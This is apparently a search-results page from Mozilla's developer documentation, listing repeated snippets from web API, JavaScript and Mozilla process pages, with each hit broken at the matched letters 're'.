Search completed in 1.04 seconds.
PointerEvent.PointerEvent() - Web APIs
the pointe
revent() constructor creates a new synthetic and untrusted pointe
revent object instance. syntax event = new pointe
revent(type, pointe
reventinit); arguments type is a domstring representing the name of the event (see pointe
revent event types). pointe
reventinitoptional is a pointe
reventinit dictionary, having the following fields: pointerid — optional and defaulting to 0, of type long, that sets the value of the instance's pointe
revent.pointerid. width — optional and defaulting to 1, of type double, that sets the value of the instance's pointe
revent.width. height — optional and defaulting to 1, of type double, that sets the value of the instance's pointe
revent.height. pressure — optional and defaulting to 0, of type float, that sets the value of the in...
...that sets the value of the instance's pointe
revent.pointerid. width — optional and defaulting to 1, of type double, that sets the value of the instance's pointe
revent.width. height — optional and defaulting to 1, of type double, that sets the value of the instance's pointe
revent.height. pressure — optional and defaulting to 0, of type float, that sets the value of the instance's pointe
revent.pressure. tangentialpressure — optional and defaulting to 0, of type float, that sets the value of the instance's pointe
revent.tangentialpressure. tiltx — optional and defaulting to 0, of type long, that sets the value of the instance's pointe
revent.tiltx. tilty — optional and defaulting to 0, of type long, that sets the value of the instance's pointe
revent.tilty. twist — optio...
... that sets the value of the instance's pointe
revent.tangentialpressure. tiltx — optional and defaulting to 0, of type long, that sets the value of the instance's pointe
revent.tiltx. tilty — optional and defaulting to 0, of type long, that sets the value of the instance's pointe
revent.tilty. twist — optional and defaulting to 0, of type long, that sets the value of the instance's pointe
revent.twist. pointertype — optional and defaulting to "", of type domstring, that sets the value of the instance's pointe
revent.pointertype. isprimary — optional and defaulting to false, of type boolean, that sets the value of the instance's pointe
revent.isprimary. note: the pointe
reventinit dictionary also accepts fields from the mouseevent, uieventinit and eventinit dictionaries. ...
...And 2 more matches
SensorErrorEvent.SensorErrorEvent() - Web APIs
the sensorerro
revent constructor creates a new sensorerro
revent object which provides information about errors thrown by any of the interfaces based on sensor. syntax sensorerro
revent = new sensorerro
revent(type, {error: domexception}); parameters type will always be 'sensorerro
revent'. options optional currently only one option is supported: error: an instance of domexception. specifications specification status comment generic sensor apithe definition of 'sensorerro
revent' in that specification. candidate recommendation initial definition. ...
Localization sign-off reviews
allows us to understand how each l10n team is performing their localization work. ...
... allows us to understand how each l10n team is performing their localization work. ...
... allows us to understand how each l10n team is performing their localization work. ...
...And 17 more matches
Localization technical reviews
this guide provides details on what a localization technical
review is, what criteria are used for the technical
reviews, and the process for requesting one and following its progress. the technical
review process we use for new localizations can be confusing for any trying to start a new localization. we use this
review process to perform quality assurance (qa) testing on your l10n efforts. this ensures that every user who downloads your localized mozilla application receives all of your hard work in a functional product. each qa
review helps us in these ways: ensures that your l10n work is visible and functional within the mozilla application. allows us to understand how each l10n team is performing their localization work. allows us to discover potential bugs within l10n tool...
...tial bugs within l10n tools. overview you've completed most, if not all, of your localization work. the merge date for migrating from one product release channel to the next (e.g., aurora to beta, or beta to release) is rapidly approaching. you need to make sure that your work can effectively be compiled into a build for the next release channel. here is a detailed overview of what a technical
review is and who it's meant for: a technical
review: is performed as a qa measure on a
revision pushed to a new locale's l10n aurora repo in mercurial. is very comprehensive and covers the entire product. focusses on technical accuracy and completion of l10n work, not translation quality. is only performed on the first
revision a new locale wants to have released to the public. must be appro...
...r: a technical
review: is performed as a qa measure on a
revision pushed to a new locale's l10n aurora repo in mercurial. is very comprehensive and covers the entire product. focusses on technical accuracy and completion of l10n work, not translation quality. is only performed on the first
revision a new locale wants to have released to the public. must be approved prior to migrating your
revision from aurora to beta. technical
review evaluation criteria in principal, a technical
review's criteria looks for localization issues common to localizing software but within the mozilla context. since it is performed on the first
revision a l10n team proposes for release, this first
revision requires a very detailed and comprehensive form of
review. that being the case, there are some crit...
...And 13 more matches
nsITaskbarPreviewController
widget/public/nsitaskbarp
reviewcontroller.idlscriptable this interface is used on microsoft windows to provide the behavior of taskbar p
reviews. its methods and properties are used by the nsitaskbarp
review interface. 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) clients should provide their own implementation of this interface. depending on whether the controller is connected to an nsitaskbartabp
review or nsitaskbarwindowp
review, only certain methods and attributes need to be implemented. ...
...introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) clients should provide their own implementation of this interface. depending on whether the controller is connected to an nsitaskbartabp
review or nsitaskbarwindowp
review, only certain methods and attributes need to be implemented. ...
... connected to an nsitaskbartabp
review or nsitaskbarwindowp
review, only certain methods and attributes need to be implemented. method overview boolean drawp
review(in nsidomcanvasrenderingcontext2d ctx); boolean drawthumbnail(in nsidomcanvasrenderingcontext2d ctx, in unsigned long width, in unsigned long height); boolean onactivate(); void onclick(in nsitaskbarp
reviewbutton button); void onclose(); attributes attribute type description height unsigned long the height in pixels of the p
review image. this value may change at any time. see drawp
review() for more information. read only. thumbnailaspectratio float the thumbnail's aspect ratio. ...
...And 12 more matches
nsITaskbarWindowPreview
widget/public/nsitaskbarwindowp
review.idlscriptable this interface is used on microsoft windows to represent the p
review for a window in the taskbar. 1.0 66 introduced gecko 1.9.2 inherits from: nsitaskbarp
review last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) you can't directly instantiate this interface; instead, call nsiwintaskbar.gettaskbarwindowp
review() to get the taskbar p
review for a specific window. window p
review behavior by default, windows implements much of the behavior for applications in a standard way. this interface's primary purpose is to let gecko applications take control over parts of the p
review; however, certain parts of the p
review are not controlled using this interface. for example, the title and icon for eac...
...indowp
review() to get the taskbar p
review for a specific window. window p
review behavior by default, windows implements much of the behavior for applications in a standard way. this interface's primary purpose is to let gecko applications take control over parts of the p
review; however, certain parts of the p
review are not controlled using this interface. for example, the title and icon for each p
review always match the title and icon of the corresponding window. if the enablecustomdrawing attribute is true, the controller you implement will start receiving calls to its nsitaskbarp
reviewcontroller.drawp
review() and nsitaskbarp
reviewcontroller.drawthumbnail() methods, as well as reads of its width, height, and thumbnailaccessratio attributes. by default, however, windows handles this drawing b...
... icon of the corresponding window. if the enablecustomdrawing attribute is true, the controller you implement will start receiving calls to its nsitaskbarp
reviewcontroller.drawp
review() and nsitaskbarp
reviewcontroller.drawthumbnail() methods, as well as reads of its width, height, and thumbnailaccessratio attributes. by default, however, windows handles this drawing by itself. in addition, these p
reviews are visible by default. when made invisible, the window disappears from the list of the application's windows in the taskbar. ...
...And 11 more matches
PointerEvent - Web APIs
the pointe
revent interface represents the state of a dom event produced by a pointer such as the geometry of the contact point, the device type that generated the event, the amount of pressure that was applied on the contact surface, etc. a pointer is a hardware agnostic representation of input devices (such as a mouse, pen or contact point on a touch-enable surface). the pointer can target a specific coordinate (or set of coordinates) on the contact surface such as a screen. a pointer's hit test is the process a browser uses to determine the target element for a pointer event. typically, this is determined by considering the pointer's location and also the visual layout of elements in a document on screen media. ...
... touch-enable surface). the pointer can target a specific coordinate (or set of coordinates) on the contact surface such as a screen. a pointer's hit test is the process a browser uses to determine the target element for a pointer event. typically, this is determined by considering the pointer's location and also the visual layout of elements in a document on screen media. ...
...fic coordinate (or set of coordinates) on the contact surface such as a screen. a pointer's hit test is the process a browser uses to determine the target element for a pointer event. typically, this is determined by considering the pointer's location and also the visual layout of elements in a document on screen media. constructors pointe
revent() creates a synthetic—and untrusted—pointe
revent. ...
...And 9 more matches
JS_PreventExtensions
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject object to be made non-extensible. result js::objectopresult & (out parameter) receives the result of the operation. ...
... succeeded bool * outparam indicating, on jsapi success, whether the object is now non-extensible. obsolete since jsapi 39 description all javascript objects recognize the concept of extensibility: whether new properties may be added to the object. in some situations, it may be convenient to prohibit new properties. ...
...sapi success, whether the object is now non-extensible. obsolete since jsapi 39 description all javascript objects recognize the concept of extensibility: whether new properties may be added to the object. in some situations, it may be convenient to prohibit new properties. in javascript this may be accomplished using the object.p
reventextensions method. the similar jsapi method is js_p
reventextensions. ...
...And 8 more matches
nsITaskbarTabPreview
widget/public/nsitaskbartabp
review.idlscriptable this interface is used on microsoft windows to control tab p
review specific behavior. 1.0 66 introduced gecko 1.9.2 inherits from: nsitaskbarp
review last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) tab p
review support is disabled by default in gecko 1.9.2 creating an nsitaskbartabp
review for a window will automatically hide that window's nsitaskbarwindowp
review; this is done by windows and cannot be p
revented. when there are no more tab p
reviews left for a window, the window p
review is automatically made visible again. an application may have as many tab p
reviews as memory allows. ...
...ew for a window will automatically hide that window's nsitaskbarwindowp
review; this is done by windows and cannot be p
revented. when there are no more tab p
reviews left for a window, the window p
review is automatically made visible again. an application may have as many tab p
reviews as memory allows. you can't directly instantiate this interface; instead, call the nsiwintaskbar.createtaskbartabp
review(). method overview void ensureregistration(); violates the xpcom interface guidelines nativewindow gethwnd(); violates the xpcom interface guidelines void move(in nsitaskbartabp
review anext); attributes attribute type description icon imgicontainer the icon displayed next to the title in the p
review. this is null by default. ...
... attribute type description icon imgicontainer the icon displayed next to the title in the p
review. this is null by default. title domstring the title displayed above the thumbnail. by default, this is an empty string. methods violates the xpcom interface guidelines ensureregistration() used internally to ensure that the taskbar knows about this p
review. if a p
review is not registered, the api call to set its sibling (via the move() method) will fail silently. this method is only invoked when it's safe to make taskbar api calls. void ensureregistration(); parameters none. violates the xpcom interface guidelines gethwnd() used internally to obtain the handle to the proxy window for the p
review. nativewindow gethwnd(); parameter...
...And 8 more matches
nsITaskbarPreview
widget/public/nsitaskbarp
review.idlscriptable this interface is used on microsoft windows as a common interface for both window and tab taskbar p
reviews. 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) you can not directly instantiate this interface. instead, you use nsitaskbartabp
review or nsitaskbarwindowp
review as appropriate. method overview void invalidate(); attributes attribute type description active boolean indicates whether or not the p
review is marked as active (currently selected) in the taskbar. ...
...is interface. instead, you use nsitaskbartabp
review or nsitaskbarwindowp
review as appropriate. method overview void invalidate(); attributes attribute type description active boolean indicates whether or not the p
review is marked as active (currently selected) in the taskbar. controller nsitaskbarp
reviewcontroller the controller for this p
review. the controller provides the behavior and appearance for the taskbar p
review, and is responsible for determining the size and contents of the p
review, which buttons are displayed, and how the application responds to user actions on the p
review. the controller is not allowed to be null. ...
...by default, this is an empty string. ...
...And 7 more matches
NonDocumentTypeChildNode.previousElementSibling - Web APIs
the nondocumenttypechildnode.p
reviouselementsibling read-only property returns the element immediately prior to the specified one in its parent's children list, or null if the specified element is the first one in the list. ...
... the nondocumenttypechildnode.p
reviouselementsibling read-only property returns the element immediately prior to the specified one in its parent's children list, or null if the specified element is the first one in the list. ...
... the nondocumenttypechildnode.p
reviouselementsibling read-only property returns the element immediately prior to the specified one in its parent's children list, or null if the specified element is the first one in the list. ...
...And 7 more matches
revert - CSS: Cascading Style Sheets
the
revert css keyword
reverts the cascaded value of the property from its current value to the value the property would have had if no changes had been made by the current style origin to the current element. thus, it resets the property to its inherited value if it inherits from its parent or to the default value established by the user agent's stylesheet (or by user styles, if any exist). it can be applied to any css property, including the css shorthand all. this removes from the cascade all of the styles that have been overridden until the style being rolled back to is reached. ...
...inherited value if it inherits from its parent or to the default value established by the user agent's stylesheet (or by user styles, if any exist). it can be applied to any css property, including the css shorthand all. this removes from the cascade all of the styles that have been overridden until the style being rolled back to is reached. if used by a site's own styles (the author origin),
revert rolls back the property's cascaded value to the user's custom style, if one exists; otherwise, it rolls the style back to the user agent's default style. if used in a user's custom stylesheet, or if the style was applied by the user (the user origin),
revert rolls back the cascaded value to the user agent's default style. if used within the user agent's default styles, this keyword is functi...
...aded value to the user's custom style, if one exists; otherwise, it rolls the style back to the user agent's default style. if used in a user's custom stylesheet, or if the style was applied by the user (the user origin),
revert rolls back the cascaded value to the user agent's default style. if used within the user agent's default styles, this keyword is functionally equivalent to unset. the
revert keyword works exactly the same as unset in many cases. ...
...And 7 more matches
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
if present, title must contain this full description and nothing else. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content permitted content phrasing content tag omission none, both the starting and ending tag are mandatory. ...
... any element that accepts phrasing content implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only supports the global attributes. ...
...cription or expansion of the abb
reviation. this text is often presented by browsers as a tooltip when the mouse cursor is hovered over the element. each <abbr> element you use is independent from all others; providing a title for one does not automatically attach the same expansion text to others with the same content text. usage notes typical use cases it's certainly not required that all abb
reviations be marked up using <abbr>. there are, though, a few cases where it's helpful to do so: when an abb
reviation is used and you want to provide an expansion or definition outside the flow of the document's content, use <abbr> with an appropriate title. ...
...And 6 more matches
Object.preventExtensions() - JavaScript
the object.p
reventextensions() method p
revents new properties from ever being added to an object (i.e. p
revents future extensions to the object). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax object.p
reventextensions(obj) parameters obj the object which should be made non-extensible. return value the object being made non-extensible. description an object is extensible if new properties can be added to it. object.p
reventextensions() marks an object as no longer extensible, so that it will never have properties beyond the ones it had at the time it was marked as non-extensible. note that the prop...
...as no longer extensible, so that it will never have properties beyond the ones it had at the time it was marked as non-extensible. note that the properties of a non-extensible object, in general, may still be deleted. attempting to add new properties to a non-extensible object will fail, either silently or by throwing a typeerror (most commonly, but not exclusively, when in strict mode). object.p
reventextensions() only p
revents addition of own properties. properties can still be added to the object prototype. this method makes the [[prototype]] of the target immutable; any [[prototype]] re-assignment will throw a typeerror. this behavior is specific to the internal [[prototype]] property, other properties of the target object will remain mutable. there is no way to make an object extensi...
...still be added to the object prototype. this method makes the [[prototype]] of the target immutable; any [[prototype]] re-assignment will throw a typeerror. this behavior is specific to the internal [[prototype]] property, other properties of the target object will remain mutable. there is no way to make an object extensible again once it has been made non-extensible. ...
...And 6 more matches
nsITaskbarPreviewButton
widget/public/nsitaskbarp
reviewbutton.idlscriptable this interface is used on microsoft windows to get access to a window p
review's toolbar button properties. these buttons are displayed below the window p
review. 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) you can't directly instantiate this interface. instead, you use the nsitaskbarwindowp
review.getbutton() to get the objects representing the buttons. attributes attribute type description disabled boolean if true, the button is disabled. this is not the same as visible, which indicates whether or not the button should be displayed at all. ...
...this is false by default. hasborder boolean if true, the taskbar should draw a border around this button's image. this is true by default. image imgicontainer the icon displayed in the button. this is null by default. ...
...taskbar should draw a border around this button's image. this is true by default. image imgicontainer the icon displayed in the button. this is null by default. ...
...And 4 more matches
Mailnews and Mail code review requirements
this document describes the process for
reviewing patches to the mozilla/mailnews and mozilla/mail directories. thunderbird and seamonkey are the primary users of the code in mozilla/mailnews. thunderbird's front-end code is stored in mozilla/mail. (a fair amount of this code is forked from code in the mailnews/ directory). mailnews and mail
review rules patches affecting thunderbird user experience or interfaces note: it is recommended that when working on bugs that affect user experience or interfaces, that ui-
review is obtained at an early stage in the patch development process. getting early ui-
reviews this reduces the chance that work is rejected due to needing further user experience changes, and hence is aimed at saving time for the developer and
reviewers. all patches ...
...ugs that affect user experience or interfaces, that ui-
review is obtained at an early stage in the patch development process. getting early ui-
reviews this reduces the chance that work is rejected due to needing further user experience changes, and hence is aimed at saving time for the developer and
reviewers. all patches that affect user experience or interfaces on thunderbird should have ui-
review on those patches in addition to the
reviews required below. to obtained a ui-
review on an attachment, set ui-
review to '?' and enter :bwinton (for blake winton) as the requestee. mike conley (:mconley) can also provide useful feedback, but blake is the current ultimate decider for ui choices in thunderbird. ...
...uld have ui-
review on those patches in addition to the
reviews required below. to obtained a ui-
review on an attachment, set ui-
review to '?' and enter :bwinton (for blake winton) as the requestee. mike conley (:mconley) can also provide useful feedback, but blake is the current ultimate decider for ui choices in thunderbird. rules for all patches affecting mailnews/ and mail/ whe
rever possible, significant patches in a certain area should be
reviewed by one of the listed sub-module owner/
reviewers. peers may grant
review in any area covered by mailnews/, provided they feel confident in their knowledge of the code being changed. sub-module peers may only grant
review in the listed sub-module. ...
...And 4 more matches
ErrorEvent - Web APIs
the erro
revent interface represents events providing information related to errors in scripts or in files. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" ...
...height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/erro
revent" target="_top"><rect x="116" y="1" width="100" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="166" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">erro
revent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits propert...
...="1" width="100" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="166" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">erro
revent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits properties from its parent event. erro
revent.message read only is a domstring containing a human-readable error message describing the problem. ...
...And 4 more matches
Event.preventDefault() - Web APIs
the event interface's p
reventdefault() method tells the user agent that if the event does not get explicitly handled, its default action should not be taken as it normally would be. the event continues to propagate as usual, unless one of its event listeners calls stoppropagation() or stopimmediatepropagation(), either of which terminates propagation at once. as noted below, calling p
reventdefault() for a non-cancelable event, such as one dispatched via eventtarget.dispatchevent(), without specifying cancelable: true has no effect. syntax event.p
reventdefault(); examples blocking default click handling toggling a checkbox is the default action of clicking on a checkbox. ...
... of which terminates propagation at once. as noted below, calling p
reventdefault() for a non-cancelable event, such as one dispatched via eventtarget.dispatchevent(), without specifying cancelable: true has no effect. syntax event.p
reventdefault(); examples blocking default click handling toggling a checkbox is the default action of clicking on a checkbox. ...
...true has no effect. syntax event.p
reventdefault(); examples blocking default click handling toggling a checkbox is the default action of clicking on a checkbox. ...
...And 4 more matches
Proxy.revocable() - JavaScript
the proxy.
revocable() method is used to create a
revocable proxy object. syntax proxy.
revocable(target, handler); parameters target a target object to wrap with proxy. it can be any sort of object, including a native array, a function, or even another proxy. handler an object whose properties are functions define the behavior of proxy p when an operation is performed on it. return value a newly created
revocable proxy object is returned. description a
revocable proxy is an object with following two properties {proxy: proxy,
revoke:
revoke}. proxy a proxy object created with new proxy(target, handler) call.
revoke a function with no argument to invalidate (switch off) the proxy. ...
...define the behavior of proxy p when an operation is performed on it. return value a newly created
revocable proxy object is returned. description a
revocable proxy is an object with following two properties {proxy: proxy,
revoke:
revoke}. proxy a proxy object created with new proxy(target, handler) call.
revoke a function with no argument to invalidate (switch off) the proxy. if the
revoke() function gets called, the proxy becomes unusable: any trap to a handler will throw a typeerror. once a proxy is
revoked, it will remain
revoked and can be garbage collected. calling
revoke() again has no effect. ...
... proxy a proxy object created with new proxy(target, handler) call.
revoke a function with no argument to invalidate (switch off) the proxy. if the
revoke() function gets called, the proxy becomes unusable: any trap to a handler will throw a typeerror. once a proxy is
revoked, it will remain
revoked and can be garbage collected. calling
revoke() again has no effect. ...
...And 4 more matches
compareVersion - Web APIs
parts of this page show the use of the xpinstall api. the majority of this api is now deprecated and as of gecko 1.9 no longer available. extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest. in particular plugin developers should see how to package a plugin as an extension. ...
...ilable. extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest. in particular plugin developers should see how to package a plugin as an extension. compa
reversion compares the version of a file or package with the version of an existing file or package. ...
...tall.js based packages to the new packaging scheme with an install.rdf manifest. in particular plugin developers should see how to package a plugin as an extension. compa
reversion compares the version of a file or package with the version of an existing file or package. method of installtrigger object syntax int compa
reversion ( string registryname, installversion version); int compa
reversion ( string registryname, string version); int compa
reversion ( string registryname, int major, int minor, int release, int build); parameters the compa
reversion method has the following parameters: registryname the pathname in the client version registry for the component whose version is to be compared. this parameter can be an absolute pathname, such as /royalai...
...And 3 more matches
Permissions.revoke() - Web APIs
the available options are: name: the name of the api whose permissions you want to query. valid values are 'geolocation', 'midi', 'notifications', and 'push'. ...
...the available options are: name: the name of the api whose permissions you want to query. valid values are 'geolocation', 'midi', 'notifications', and 'push'. ...
...the available options are: name: the name of the api whose permissions you want to query. valid values are 'geolocation', 'midi', 'notifications', and 'push'. ...
...And 3 more matches
RTCErrorEvent - Web APIs
methods no additional methods are provided beyond any found on the parent interface, event. ...
... methods no additional methods are provided beyond any found on the parent interface, event. ...
... methods no additional methods are provided beyond any found on the parent interface, event. ...
...And 2 more matches
Reviewer Checklist
good web citizenship make sure new web-exposed apis actually make sense and are either standards track or preffed off by default. in c++, wrapper-cache as needed. if your object can be gotten from somewhere without creating it in the process, it needs to be wrapper-cached. correctness the bug being fixed is a valid bug and should be fixed. ...
...e process, it needs to be wrapper-cached. correctness the bug being fixed is a valid bug and should be fixed. the patch fixes the issue. the patch is not unnecessarily complicated. the patch does not add duplicates of existing code ('almost duplicates' could mean a refactor is needed). commonly this results in "part 0" of a bug, which is "tidy things up to make the fix easier to write and
review". if qa needs to verify the fix, you should provide steps to reproduce (str). quality if you can unit-test it, you should unit-test it. if it's js, try to design and build so that xpcshell can exercise most functionality. it's quicker. make sure the patch doesn't create any unused code (e.g., remove strings when removing a feature) all caught exceptions should be logged at the appropr...
...tension enabled). whitespace can be fixed easily in mercurial using the checkfiles extension. in git, you can use git rebase --whitespace=fix. security issues there should be no writing to arbitrary files outside the profile folder. be careful when reading user input, network input, or files on disk. assume that inputs will be too big, too short, empty, malformed, or malicious. tag for sec
review if unsure. if you're writing code that uses jsapi, chances are you got it wrong. try hard to avoid doing that. privacy issues there should be no logging of urls or content from which urls may be inferred. [fennec: android services has logger.pii() for this purpose (e.g., logging profile dir)]. tag for privacy
review if needed. resource leaks in java, memory leaks are largely due t...
...le the feature entirely in case bugs are found later in the release cycle. [fennec: "prefs" can be gecko prefs, sharedpreferences values, or build-time flags. which one you choose depends on how the feature is implemented: a pure java service can't easily check gecko prefs, for example.] strings there should be no string changes in patches that will be uplifted (including string removals).
rev entity names for string changes. when making ui changes, be aware of the fact that strings will be different lengths in different locales. documentation the commit message should describe what the patch is changing (not be a copy of the bug summary). the first line should be a short description (since only the first line is shown in the log), and additional description, if needed, should be...
Event.defaultPrevented - Web APIs
the defaultp
revented read-only property of the event interface returns a boolean indicating whether or not the call to event.p
reventdefault() canceled the event. note: you should use this instead of the non-standard, deprecated getp
reventdefault() method (see bug 691151). syntax var defaultwasp
revented = event.defaultp
revented; value a boolean, where true indicates that the default user agent action was p
revented, and false indicates that it was not. example this example logs attempts to visit links from two <a> elements. javascript is used to p
revent the second link from working. ...
...ser agent action was p
revented, and false indicates that it was not. example this example logs attempts to visit links from two <a> elements. javascript is used to p
revent the second link from working. ...
... is used to p
revent the second link from working. ...
... living standard ...
MediaRecorderErrorEvent() - Web APIs
it must contain the error property at a minimum. error a domexception that describes the error that occurred. this object's name property should indicate the name of the error that occurred. the other fields may or may not be present. ...
...it must contain the error property at a minimum. error a domexception that describes the error that occurred. this object's name property should indicate the name of the error that occurred. the other fields may or may not be present. ...
...it must contain the error property at a minimum. error a domexception that describes the error that occurred. this object's name property should indicate the name of the error that occurred. the other fields may or may not be present. ...
... working draft initial definition. ...
NodeIterator.previousNode() - Web APIs
the nodeiterator.p
reviousnode() method returns the p
revious node in the set represented by the nodeiterator and moves the position of the iterator backwards within the set. this method returns null when the current node is the first node in the set. in old browsers, as specified in old versions of the specifications, the method may throws the invalid_state_err domexception if this method is called after the nodeiterator.detach()method. recent browsers never throw. ...
...erator and moves the position of the iterator backwards within the set. this method returns null when the current node is the first node in the set. in old browsers, as specified in old versions of the specifications, the method may throws the invalid_state_err domexception if this method is called after the nodeiterator.detach()method. recent browsers never throw. ...
...ator.detach()method. recent browsers never throw. syntax node = nodeiterator.p
reviousnode(); example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false // this optional argument is not used any more ); currentnode = nodeiterator.nextnode(); // returns the next node p
reviousnode = nodeiterator.p
reviousnode(); // same result, since we backtracked to the p
revious node specifications specification status comment domthe definition of 'nodeiterator.p
reviousnode' in that specification. living standard as detach() is now a no-op method, this method cannot throw anymore. document object model (dom) level 2 traversal and range spe...
...same result, since we backtracked to the p
revious node specifications specification status comment domthe definition of 'nodeiterator.p
reviousnode' in that specification. living standard as detach() is now a no-op method, this method cannot throw anymore. document object model (dom) level 2 traversal and range specificationthe definition of 'nodeiterator.p
reviousnode' in that specification. obsolete initial definition. ...
Array.prototype.reverse() - JavaScript
the
reverse() method
reverses an array in place. the first array element becomes the last, and the last array element becomes the first. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax a.
reverse() return value the
reversed array. description the
reverse method transposes the elements of the calling array object in place, mutating the array, and returning a reference to the array.
reverse is intentionally generic; this method can be called or applied to objects resembling arrays. objects which do not contain a length property reflecting the last in a series of consecutive, zero-based numerical propertie...
...nsposes the elements of the calling array object in place, mutating the array, and returning a reference to the array.
reverse is intentionally generic; this method can be called or applied to objects resembling arrays. objects which do not contain a length property reflecting the last in a series of consecutive, zero-based numerical properties may not behave in any meaningful manner. examples
reversing the elements in an array the following example creates an array a, containing three elements, then
reverses the array. the call to
reverse() returns a reference to the
reversed array a. ...
...length property reflecting the last in a series of consecutive, zero-based numerical properties may not behave in any meaningful manner. examples
reversing the elements in an array the following example creates an array a, containing three elements, then
reverses the array. the call to
reverse() returns a reference to the
reversed array a. const a = [1, 2, 3]; console.log(a); // [1, 2, 3] a.
reverse(); console.log(a); // [3, 2, 1]
reversing the elements in an array-like object the following example creates an array-like object a, containing three elements and a length property, then
reverses the array-like object. the call to
reverse() returns a reference to the
reversed array-like object a. const a = {0: 1, 1: 2, 2: 3, length: 3}; console.log(a); // {0: 1, 1: 2, 2: 3, length: 3} ...
...log(a); // [3, 2, 1]
reversing the elements in an array-like object the following example creates an array-like object a, containing three elements and a length property, then
reverses the array-like object. the call to
reverse() returns a reference to the
reversed array-like object a. const a = {0: 1, 1: 2, 2: 3, length: 3}; console.log(a); // {0: 1, 1: 2, 2: 3, length: 3} array.prototype.
reverse.call(a); //same syntax for using apply() console.log(a); // {0: 3, 1: 2, 2: 1, length: 3} specifications specification ecmascript (ecma-262)the definition of 'array.prototype.
reverse' in that specification. ...
handler.preventExtensions() - JavaScript
the handler.p
reventextensions() method is a trap for object.p
reventextensions(). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax const p = new proxy(target, { p
reventextensions: function(target) { } }); parameters the following parameter is passed to the p
reventextensions() method. this is bound to the handler. target the target object. return value the p
reventextensions() method must return a boolean value. description the handler.p
reventextensions() method is a trap for object.p
reventextensions(). ...
...arget) { } }); parameters the following parameter is passed to the p
reventextensions() method. this is bound to the handler. target the target object. return value the p
reventextensions() method must return a boolean value. description the handler.p
reventextensions() method is a trap for object.p
reventextensions(). interceptions this trap can intercept these operations: object.p
reventextensions() reflect.p
reventextensions() invariants if the following invariants are violated, the proxy will throw a typeerror: object.p
reventextensions(proxy) only returns true if object.isextensible(proxy) is false. examples trapping of p
reventextensions the following code traps object.p
reventextensions(). ...
...can intercept these operations: object.p
reventextensions() reflect.p
reventextensions() invariants if the following invariants are violated, the proxy will throw a typeerror: object.p
reventextensions(proxy) only returns true if object.isextensible(proxy) is false. examples trapping of p
reventextensions the following code traps object.p
reventextensions(). const p = new proxy({}, { p
reventextensions: function(target) { console.log('called'); object.p
reventextensions(target); return true; } }); console.log(object.p
reventextensions(p)); // "called" // false the following code violates the invariant. ...
...ensions the following code traps object.p
reventextensions(). const p = new proxy({}, { p
reventextensions: function(target) { console.log('called'); object.p
reventextensions(target); return true; } }); console.log(object.p
reventextensions(p)); // "called" // false the following code violates the invariant. const p = new proxy({}, { p
reventextensions: function(target) { return true; } }); object.p
reventextensions(p); // typeerror is thrown specifications specification ecmascript (ecma-262)the definition of '[[p
reventextensions]]' in that specification. ...
Reflect.preventExtensions() - JavaScript
the static reflect.p
reventextensions() method p
revents new properties from ever being added to an object (i.e., p
revents future extensions to the object). it is similar to object.p
reventextensions(), but with some differences. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax reflect.p
reventextensions(target) parameters target the target object on which to p
revent extensions. return value a boolean indicating whether or not the target was successfully set to p
revent extensions. exceptions a typeerror, if target is not an object. ...
... project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax reflect.p
reventextensions(target) parameters target the target object on which to p
revent extensions. return value a boolean indicating whether or not the target was successfully set to p
